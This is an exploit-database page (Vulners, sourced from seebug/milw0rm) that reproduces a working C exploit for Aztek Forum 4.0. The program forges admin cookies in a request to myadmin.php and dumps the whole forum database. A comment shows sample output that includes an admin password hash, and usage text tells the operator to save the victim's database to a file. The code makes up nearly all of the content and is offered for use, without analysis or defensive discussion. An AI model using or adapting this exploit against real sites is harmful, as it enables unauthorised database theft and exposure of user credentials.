Lucene search
K

Aztek Forum <= 4.0 [myadmin.php] Database Dumper Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

Aztek Forum v4.0 Database Dumper Exploi

Code

                                                /* Changed line 81 - Tested and working /str0ke */

/*
 *   LOTFREE Team presents :
 * Forum-Aztek v4.0 (4nd pr0b4bly inf3ri0r) Database Dump Xpl0it
 * 0day dUd3 X-)
 *
 * ./aztek-sploit 127.0.0.1 admin forum
 * HTTP/1.1 200 OK
 * Date: Sat, 05 Mar 2005 22:18:13 GMT
 * Server: Apache/2.0.50 (Ubuntu) PHP/4.3.8
 * X-Powered-By: PHP/4.3.8
 * Set-Cookie: ATK_ADMIN=
 * Expires: Sat, 05 Mar 2005 22:18:13 GMT
 * Content-Disposition: attachment; filename=&#34;backup-admin-2005-5-03-23-18-13.sql&#34;
 * Connection: close
 * Transfer-Encoding: chunked
 * Content-Type: application/force-download
 *
 * (...)
 * INSERT INTO atk_users VALUES (&#39;admin&#39;,&#39;admin&#39;,&#39;atm5zzHCTXNkc&#39;,0,&#39;&#39;,0,0,0,&#39;&#39;,&#39;&#39;,0,0,&#39;&#39;,&#39;&#39;,1109861125,63,&#39;0&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;,0,0,&#39;&#39;);
 *                            password in DES ---+^^^^^^^^^^^^^
 * (...)
 * sw333333t !
 * http://lotfree.next-touch.com
 */
#include &#60;stdlib.h&#62;
#include &#60;unistd.h&#62;
#include &#60;stdio.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;errno.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;netdb.h&#62;
#include &#60;arpa/inet.h&#62;
#include &#60;string.h&#62;

#define REQ1 &#34;/myadmin.php?action=export_index&login=&#34;
#define REQ2 &#34; HTTP/1.1\nHost: &#34;
#define REQ3 &#34;\nCookie: ATK_ADMIN=blah; ATK_LOGIN=&#34;
#define REQ4 &#34;\nConnection: close\n\n&#34;

unsigned long resolve (char *host) 
{
  struct in_addr in; 
  struct hostent *he; 
	    
  if((in.s_addr=inet_addr(host))==-1) 
  { 
    if((he=(struct hostent*)gethostbyname(host))==NULL) 
    { 
      herror(&#34;Resolving victim host&#34;); 
      exit(1); 
    } 
    memcpy((caddr_t)&in, he-&#62;h_addr, he-&#62;h_length); 
  }
  return(in.s_addr); 
}

int main(int argc,char *argv[])
{
  int sock;
  struct sockaddr_in sin;
  char c;

  if(argc!=4)
  {
    printf(&#34;[*]--------------------------------[*]\n&#34;);
    printf(&#34; | Aztek-Forum Database Dump Xploit |\n&#34;);
    printf(&#34; |   sirius_black // LOTFREE Team   |\n&#34;);
    printf(&#34;[*]--------------------------------[*]\n\n&#34;);
    printf(&#34;Usage: %s &#60;victim&#62; &#60;admin_login&#62; &#60;forum_directory&#62;\n\n&#34;,argv[0]);
    printf(&#34;Exemple: %s www.tictactoe.com admin forum &#62; database.sql\n\n&#34;,argv[0]);
    exit(1);
  }
  if((sock=socket(PF_INET,SOCK_STREAM,0))==-1)
  {
    perror(&#34;socket&#34;);
    exit(1);
  }
  sin.sin_family=AF_INET;
  sin.sin_port=htons(80);
  sin.sin_addr.s_addr=resolve(argv[1]);//  sin.sin_addr.s_addr=resolve(&#34;127.0.0.1&#34;);
  if(connect(sock,(struct sockaddr*)&sin,sizeof(struct sockaddr))==-1)
  {
    perror(&#34;connect&#34;);
    exit(1);
  }
  send(sock,&#34;GET /&#34;,5,0);
  send(sock,argv[3],strlen(argv[3]),0);
  send(sock,REQ1,sizeof(REQ1)-1,0);
  send(sock,argv[2],strlen(argv[2]),0);
  send(sock,REQ2,sizeof(REQ2)-1,0);
  send(sock,argv[1],strlen(argv[1]),0);
  send(sock,REQ3,sizeof(REQ3)-1,0);
  send(sock,argv[2],strlen(argv[2]),0);
  send(sock,REQ4,sizeof(REQ4)-1,0);
  while((recv(sock,&c,1,0))==1)
  {
    putchar(c);
  }
  close(sock);
  return 0;
}

// milw0rm.com [2005-03-07]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
18